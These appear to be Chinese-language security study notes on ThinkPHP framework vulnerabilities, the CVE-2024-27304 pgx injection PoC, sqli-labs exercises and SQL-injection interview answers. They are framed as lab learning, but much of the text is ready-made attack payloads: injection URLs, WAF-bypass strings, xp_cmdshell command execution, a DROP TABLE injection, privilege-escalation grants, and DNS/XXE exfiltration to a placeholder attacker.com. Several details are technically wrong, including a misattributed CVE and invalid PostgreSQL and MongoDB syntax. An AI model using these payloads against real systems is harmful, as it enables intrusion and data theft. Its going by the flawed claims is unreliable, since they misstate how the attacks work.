近期学习聚焦ThinkPHP框架漏洞分析、CVE-2024-27304协议级漏洞利用及SQL注入实操练习,通过理论拆解与实战复现,系统掌握了多种漏洞的原理、利用方法及防御思路。以下是本次学习的详细梳理。
一、ThinkPHP框架漏洞分析
1.1 ThinkPHP5漏洞分析
1.1.1 SQL注入漏洞
核心知识点
漏洞原理:ThinkPHP5在处理特定参数时,对用户输入缺乏严格过滤,导致SQL注入漏洞产生。
影响版本:不同触发场景对应不同版本的ThinkPHP5,存在版本差异化影响。
注入类型:涵盖联合查询注入、布尔盲注、时间盲注等主流注入方式。
触发条件:需通过特定URL参数构造或对应请求方式触发。
漏洞复现步骤
以《ThinkPHP5漏洞分析之SQL注入(一)》为例,具体操作如下:
- 搭建ThinkPHP5漏洞测试环境,确保环境可正常运行。
- 访问构造好的特定URL:http://localhost/thinkphp5/?s=index/index/index\&ids\[0\]=bind\&ids\[1\]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)#
- 观察页面返回的错误信息,从中提取数据库用户信息。
- 逐步深化利用,依次获取数据库名称、表名、字段名等关键信息。
- 最终渗透获取目标系统敏感数据。
1.1.2 文件包含漏洞
核心知识点
漏洞原理:ThinkPHP5在模板渲染过程中,未对模板文件路径进行严格校验,存在路径遍历风险,进而导致文件包含漏洞。
影响版本:仅限ThinkPHP5特定版本。
利用方式:通过构造特殊模板文件路径,包含系统敏感文件(如配置文件、密码文件)或恶意注入文件。
漏洞复现步骤
- 搭建ThinkPHP5漏洞测试环境。
- 观察页面返回结果,验证是否成功包含目标敏感文件。
- 拓展利用范围,尝试包含其他敏感文件或恶意脚本文件。
1.1.3 代码执行漏洞
核心知识点
漏洞原理:ThinkPHP5处理部分参数时,未对用户输入进行严格过滤与校验,导致攻击者可注入恶意代码并执行。
影响版本:ThinkPHP5特定版本。
利用方式:构造特殊参数,注入并执行任意PHP代码,实现对目标系统的控制。
漏洞复现步骤
以《ThinkPHP5漏洞分析之代码执行(八)》为例,具体操作如下:
- 搭建ThinkPHP5漏洞测试环境。
- 观察页面是否成功执行phpinfo()函数,验证漏洞存在。
- 进一步构造恶意代码,执行更多高危操作(如文件写入、权限提升)。
1.1.4 反序列化漏洞
核心知识点
漏洞原理:ThinkPHP5存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发预设POP链,最终执行恶意代码。
影响版本:ThinkPHP5.0.X、5.1.X、5.2.X全系列版本。
POP链构造:通过分析框架核心代码,挖掘可利用的魔术方法与函数调用链,搭建完整攻击链路。
漏洞复现步骤
以ThinkPHP5.0.X反序列化利用链为例,具体操作如下:
- 搭建ThinkPHP5.0.X漏洞测试环境。
- 深入分析框架代码逻辑,构造符合漏洞利用条件的POP链。
- 根据POP链生成对应的序列化字符串。
- 通过Cookie、POST参数等方式,将序列化字符串传入目标系统。
- 观察系统响应,验证恶意代码是否成功执行。
1.2 ThinkPHP6漏洞分析
1.2.1 任意文件创建漏洞
核心知识点
漏洞原理:ThinkPHP6在文件上传功能处理中,未对文件存储路径进行严格校验,允许攻击者构造特殊路径,实现任意位置文件创建。
影响版本:ThinkPHP6.0.X系列版本。
利用方式:构造包含特殊路径的文件上传请求,在目标系统任意目录创建文件(可用于植入后门脚本)。
漏洞复现步骤
- 搭建ThinkPHP6.0.X漏洞测试环境。
- 构造包含特殊路径的文件上传请求(可通过BurpSuite等工具修改请求包)。
- 向目标系统发送上传请求,尝试在预设目标位置创建文件。
- 验证文件是否成功创建,确认漏洞利用效果。
1.2.2 反序列化漏洞
核心知识点
漏洞原理:ThinkPHP6存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发POP链并执行恶意代码。
影响版本:ThinkPHP6.X全系列版本。
POP链构造:通过分析ThinkPHP6框架代码,挖掘可利用的魔术方法与函数调用链,搭建攻击链路。
漏洞复现步骤
- 搭建ThinkPHP6.X漏洞测试环境。
- 分析框架代码逻辑,构造适配的POP链及对应序列化字符串。
- 通过特定方式将序列化字符串传入目标系统。
- 观察系统响应,验证恶意代码是否成功执行。
二、CVE-2024-27304漏洞分析与利用
2.1 漏洞概述
核心知识点
漏洞名称:PostgreSQL pgx库SQL注入漏洞
CVE编号:CVE-2024-27304
影响版本:pgx v5.5.3版本
漏洞类型:协议级SQL注入漏洞
漏洞原理:通过发送超大体积Payload,导致PostgreSQL协议消息大小溢出,突破防护机制实现SQL注入。
2.2 漏洞原理深度解析
核心知识点
PostgreSQL协议:PostgreSQL数据库通过特定格式的协议消息实现客户端与服务器端的通信交互。
核心消息类型:
- P(Parse):用于发送预处理语句
- B(Bind):用于发送请求参数
- Q(Query):用于发送简单查询语句
溢出条件:当pgx库采用Q(Query)或B(Bind)方式发送协议消息时,超大体积Payload会导致消息大小溢出,触发漏洞。
利用方式:构造特定Payload,借助消息溢出漏洞注入恶意SQL代码,执行攻击操作。
2.3 漏洞环境搭建
复现步骤
- 克隆漏洞测试环境项目:git clone https://github.com/your-repo/CVE-2024-27304-PoC.git
- 进入项目webapp目录:cd CVE-2024-27304-PoC/webapp
- 启动Docker容器部署环境:docker-compose up -d
- 验证服务启动状态:访问http://localhost:8080,确认服务正常运行。
2.4 漏洞利用实操
复现步骤
以Q_nop_sled.py脚本为例,具体操作如下:
- 进入漏洞利用脚本目录:cd CVE-2024-27304-PoC/exploit
- 编辑Q_nop_sled.py文件,修改目标地址、端口等核心参数,适配测试环境。
- 运行脚本执行漏洞利用:python Q_nop_sled.py
- 观察脚本输出结果,验证漏洞是否成功利用。
- 尝试登录目标Web应用,验证是否成功创建管理员账号(或其他预设攻击目标)。
注意事项
- 该漏洞利用过程需占用大量服务器内存,可能影响系统稳定性。
- 超大体积Payload可能触发目标系统DoS(拒绝服务),需控制测试场景。
- 严格遵守网络安全法规,仅可在授权测试环境中验证,禁止对第三方系统执行攻击。
三、SQL注入练习环境(sqli-labs-php7-master)
3.1 环境搭建
复现步骤
- 下载sqli-labs-php7-master压缩包,解压至Web服务器根目录。
- 配置数据库连接:编辑sql-connections/sqli-connect.php文件,填入对应数据库账号、密码、库名等信息。
- 访问http://localhost/sqli-labs-php7-master/,点击"Setup/reset Database for labs"初始化数据库。
- 确认数据库创建成功,练习环境搭建完成。
3.2 Less-1:基于错误的SQL注入
核心知识点
注入类型:基于错误回显的SQL注入
触发条件:采用单引号闭合的GET参数,输入异常值可触发SQL错误回显。
利用方式:构造特殊id参数,触发SQL语法错误,通过错误信息提取数据库关键信息。
复现步骤
- 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1,确认页面正常返回数据。
- 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1',观察页面返回的SQL错误信息,确认注入点存在。
- 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1' --+,验证注释符有效性,确认页面恢复正常返回。
- 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,2,3 --+,定位页面回显位置。
- 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,database(),user() --+,获取数据库名称与当前登录用户信息。
- 逐步深化注入,依次获取表名、字段名,最终提取敏感数据。
3.3 Less-2:数字型SQL注入
核心知识点
注入类型:数字型SQL注入
触发条件:参数为未加引号的GET型数字参数,无需闭合即可构造注入语句。
利用方式:构造特殊id数字参数,通过联合查询等方式提取数据库信息。
复现步骤
- 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1,确认页面正常返回数据。
- 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 and 1=2,观察页面返回变化,确认注入点存在。
- 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 union select 1,2,3,定位页面回显位置。
- 参照Less-1后续步骤,依次获取数据库名称、表名、字段名及敏感数据。
3.4 Less-5:布尔盲注
核心知识点
注入类型:布尔盲注
触发条件:页面无直接数据回显,仅通过返回状态(正常/异常)判断注入结果。
利用方式:构造布尔表达式,通过页面返回状态差异,逐步猜解数据库信息。
复现步骤
- 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1,记录页面正常返回状态。
- 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=1 --+,观察页面返回状态与正常状态一致。
- 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=2 --+,观察页面返回状态异常,确认盲注可用。
- 通过手动猜解或脚本工具,逐步获取数据库名称长度、字符,再依次猜解表名、字段名及敏感数据。
3.5 Less-9:时间盲注
核心知识点
注入类型:时间盲注
触发条件:页面无直接数据回显,且布尔状态无明显差异,需通过时间延迟判断注入结果。
利用方式:构造含时间延迟函数的注入语句,根据页面响应时间差异,逐步猜解数据库信息。
复现步骤
- 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1,记录页面正常响应时间。
- 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and sleep(5) --+,观察页面响应时间是否延长5秒,确认注入点存在。
- 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5,sleep(5),1) --+,根据响应时间判断数据库名称长度。
- 通过手动猜解或脚本工具,结合时间延迟逻辑,逐步获取数据库名称、表名、字段名及敏感数据。
四、其他学习资源拓展
4.1 PDO绕过技术(PDOBYPASS.pdf)
核心知识点
PDO介绍:PHP Data Objects(PDO),是PHP的数据库抽象层,用于统一不同数据库的操作接口。
PDO预处理:核心安全机制,用于防止SQL注入,但存在特定场景下的绕过风险。
绕过方法:通过构造特殊语句,突破PDO预处理的防护逻辑,实现SQL注入。
学习实施步骤
- 阅读PDOBYPASS.pdf文档,深入理解PDO预处理原理及绕过核心逻辑。
- 搭建PDO测试环境,模拟真实业务场景。
- 编写测试代码,验证各类PDO绕过技术的可行性。
- 分析不同绕过方法的适用场景、限制条件及防御要点。
- 总结PDO安全编程最佳实践,规避注入风险。
五、整体学习总结
5.1 核心知识点沉淀
- 框架漏洞分析:熟练掌握ThinkPHP5/6框架核心漏洞(SQL注入、文件包含、代码执行、反序列化)的原理、影响范围及利用逻辑,建立框架漏洞分析思维。
- 协议级漏洞:深入理解CVE-2024-27304协议级SQL注入漏洞,掌握从协议层面分析漏洞、构造Payload的方法,拓展漏洞分析维度。
- SQL注入技术:通过sqli-labs实操,全面掌握基于错误、数字型、布尔盲注、时间盲注等多种注入类型的识别、利用及突破技巧。
- 漏洞利用脚本编写:学习Python漏洞利用脚本的编写逻辑,掌握参数配置、Payload构造、结果验证等核心环节。
- 代码审计基础:通过分析ThinkPHP框架漏洞代码,提升PHP代码审计能力,能够快速定位代码中的安全隐患。
5.2 实践技能提升
- 漏洞环境搭建:熟练掌握Docker、Web服务器等工具的使用,能够快速搭建各类漏洞测试环境,为漏洞复现与分析提供支撑。
- 漏洞复现能力:可独立完成各类框架漏洞、协议漏洞、SQL注入漏洞的复现,精准验证漏洞存在性。
- 漏洞利用能力:能够根据漏洞原理,自主构造Payload,实现敏感信息获取、恶意代码执行等攻击目标。
- 安全防护建议:基于漏洞分析结果,可提出针对性的安全防护方案,规避同类漏洞风险。
六、SQL注入面试题解析
6.1 二次注入攻击流程
题目:假设目标网站对用户输入做了参数化查询,但存在用户注册信息回显的场景,你会如何构造二次注入攻击?请详细描述完整攻击链。
答案:
攻击原理:二次注入的核心是数据"存入安全、取出危险",即用户输入数据被参数化查询安全存入数据库后,在其他业务场景被取出时,未经过滤直接拼接SQL语句,触发注入漏洞。
具体攻击链步骤:
- 注册环节注入:用户注册时,提交恶意Payload(如用户名填写admin'#),系统通过参数化查询将该Payload安全存入数据库,此时未触发注入。
- 漏洞触发场景:在密码修改功能中,程序从数据库取出用户名,并直接拼接SQL语句:UPDATE users SET password='[new_pass]' WHERE username='[恶意用户名]'。
- 注入执行:拼接后实际执行的SQL语句为:UPDATE users SET password='hacked' WHERE username='admin'#',注释符#截断后续语句,最终仅修改admin账号密码。
- 防御方案:所有从数据库取出的数据,在再次用于SQL拼接、展示等场景时,仍需执行参数化处理或严格过滤,避免二次注入。
6.2 时间盲注绕过技巧
题目:当目标过滤了SLEEP()函数和BENCHMARK()函数,且请求频率受限时,你会如何构造可靠的时间盲注Payload?
答案:
- 重型查询制造延迟:通过构造复杂查询语句占用数据库资源,实现自然延迟,如:AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C),多表交叉查询可显著延长执行时间。
- 条件性复杂运算:利用高耗资源运算函数,结合条件判断实现延迟,如:AND IF(ASCII(SUBSTR((SELECT @@version),1,1))>50, EXP(1000), 1),当条件成立时执行EXP(1000)(指数运算消耗大量资源),产生延迟。
- DNS查询延时(需出网):借助DNS解析过程实现延迟,同时可外带数据,如:AND LOAD_FILE(CONCAT('\\',(SELECT MID(@@version,1,100)),'.attacker.com\test')),构造含查询结果的域名,通过DNS解析日志捕获数据,解析过程会产生明显延迟。
6.3 DNS外带数据利用
题目:如何通过DNS协议外带Oracle数据库的敏感数据?请写出完整Payload并解释原理。
答案:
Payload:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)||'.attacker.com/"> %remote;]>'),'/l') FROM DUAL
原理:
- 利用XML外部实体(XXE)漏洞:通过EXTRACTVALUE函数解析构造的XML内容,触发XXE外部实体引用,发起HTTP请求。
- 数据拼接注入:通过字符串拼接,将Oracle数据库敏感数据(如当前用户SYS_CONTEXT('USERENV','CURRENT_USER'))插入HTTP请求的子域名中。
- DNS解析捕获:当目标服务器发起HTTP请求时,会先进行DNS解析,攻击者通过监控自身域名的DNS解析日志,即可捕获包含敏感数据的解析记录,实现数据外带。
适用条件:Oracle 11g/12c版本,攻击者需拥有UTL_HTTP权限,且目标服务器可出网。
6.4 WAF绕过实战
题目:假设WAF检测UNION SELECT模式且过滤常见关键词,如何构造绕过Payload?给出至少三种技术方案。
答案:
- 注释混淆绕过:通过插入数据库支持的注释符,拆分关键词,规避WAF规则检测,如:UNI/**/ON SEL/**/ECT 1,version()。
- 空白符变异绕过:使用非标准空白符(如%0b、%a0等)替代空格,WAF可能无法识别,而数据库可正常解析,如:UNION%0bSELECT%a0@@version。
- 字符编码绕过:将关键词拆分为ASCII字符,通过CHAR函数拼接还原,规避关键词过滤,如:UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)(拼接为admin)。
- 大小写混合+嵌套语句:通过大小写交替、语句嵌套打乱关键词特征,如:UnIoN (sElEcT 1,(sElEcT mid(version(),1,1)))。
6.5 堆叠查询利用
题目:在MSSQL环境中,如何通过堆叠查询实现操作系统命令执行?写出完整利用链。
答案:
完整利用链(需高权限账户):
- 开启xp_cmdshell组件:堆叠查询执行配置命令,开启命令执行组件,语句如下:'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
- 执行操作系统命令:通过xp_cmdshell组件执行命令,语句如下:'; EXEC xp_cmdshell 'whoami';--,可根据需求替换为其他命令(如文件操作、权限修改)。
注意事项:
- 需sa等高权限数据库账户,普通账户无开启组件及执行命令权限。
- 受数据库配置限制,部分环境可能默认禁用xp_cmdshell组件,需先突破配置限制。
- 若xp_cmdshell被禁用,可配合CLR集成、OLE自动化存储过程等方式实现命令执行。
6.6 预编译绕过漏洞
题目:为什么参数化查询有时仍会发生SQL注入?请结合具体案例说明。
答案:
核心原因:参数化查询仅对SQL语句中的"参数"有效,无法防护"动态拼接的SQL结构"(如表名、列名、排序字段等),若开发者将用户可控数据用于SQL结构拼接,仍会触发注入漏洞。
具体案例:
开发者编写代码如下,意图通过参数化查询防止注入,但将用户可控的tableName用于表名拼接:
String query = "SELECT * FROM " + tableName + " WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(query);
漏洞点:表名属于SQL语句结构部分,无法被参数化处理,若用户控制tableName参数,可构造恶意值触发注入。
攻击方式:攻击者传入tableName参数值为"malicious_table; DROP TABLE users--",拼接后SQL语句变为:SELECT * FROM malicious_table; DROP TABLE users-- WHERE id = ?,执行后会删除users表。
防御方案:对表名、列名等SQL结构部分,采用白名单校验机制,严格限制输入范围,禁止用户可控数据直接拼接。
6.7 JSON注入漏洞
题目:当Web应用使用JSON格式与数据库交互时,可能存在哪些特殊形式的SQL注入?举例说明。
答案:
1. 常规JSON参数注入
攻击场景:应用将JSON中的参数直接拼接SQL语句,未做过滤处理,如后端接收JSON格式查询条件:
{ "query": "SELECT * FROM users WHERE name = '{{name}}'" }
Payload:构造JSON参数注入恶意语句:
{ "name": "admin' OR 1=1-- " }
拼接后SQL语句变为:SELECT * FROM users WHERE name = 'admin' OR 1=1-- ',实现万能查询。
2. MongoDB NoSQL注入(JSON格式衍生)
MongoDB使用JSON-like格式(BSON)存储数据,若应用直接将用户输入的JSON作为查询条件,会触发NoSQL注入,如:
Payload:{"where": "sleep(100)"},通过where操作符注入JavaScript代码,实现时间延迟盲注,获取敏感信息。
3. PostgreSQL JSON函数注入
利用PostgreSQL内置JSON函数,拼接用户输入构造注入,如:
SELECT json_extract('{"a":"' || (SELECT version()) || '"}','$.a') FROM DUAL,通过JSON函数拼接执行子查询,提取数据库版本信息。
6.8 基于错误注入的利用
题目:如何通过错误回显精确提取数据?给出MySQL和MSSQL的利用函数。
答案:
核心原理:故意构造SQL语句触发类型转换、语法错误等异常,使数据库返回包含敏感数据的错误信息,实现数据提取,需满足服务器开启错误回显功能。
MySQL利用函数
使用ExtractValue函数(XML函数)触发错误,Payload:AND ExtractValue(1, CONCAT(0x5c, (SELECT @@version))),错误信息中会包含数据库版本号。
MSSQL利用函数
通过类型转换错误触发,Payload:AND 1=CONVERT(int, (SELECT @@version)),将版本号字符串转换为int类型失败,错误信息中会显示版本号。
适用条件:服务器配置为显示详细错误信息,攻击者可通过错误回显获取关键数据。
6.9 权限提升技巧
题目:如何通过SQL注入将普通数据库用户权限提升为sysadmin?给出具体步骤。
答案:
PostgreSQL环境提权步骤
- 权限探测:执行SELECT current_setting('is_superuser'),判断当前用户是否为超级用户。
- 利用漏洞提权:借助CVE-2018-1058漏洞,创建恶意函数调用系统命令,语句如下:CREATE FUNCTION sys_eval(text) RETURNS text AS '/lib/libc.so.6' LANGUAGE C RETURNS NULL ON NULL INPUT; SELECT sys_eval('whoami');
- 权限升级:通过系统命令修改数据库配置,将普通用户提升为超级用户,实现sysadmin权限控制。
MySQL环境提权步骤
若当前用户拥有GRANT权限,可直接执行授权语句提权:GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;,将attacker用户赋予全库权限,等同于sysadmin权限。
补充说明:提权操作依赖当前用户权限基础,需先通过注入获取足够权限(如GRANT权限、文件写入权限),再结合对应数据库特性实现权限提升。